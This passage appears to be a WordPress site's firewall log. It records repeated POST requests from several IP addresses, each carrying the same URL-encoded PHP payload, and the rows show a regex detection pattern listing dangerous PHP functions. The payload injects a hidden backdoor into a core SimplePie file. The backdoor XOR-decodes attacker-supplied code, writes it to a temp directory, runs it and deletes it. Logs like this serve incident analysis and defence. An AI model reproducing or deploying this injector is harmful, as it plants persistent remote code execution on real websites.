HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3826\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nqZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:27","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3826\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nhH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:29","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3826\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nuQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:31","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3826\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\neT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%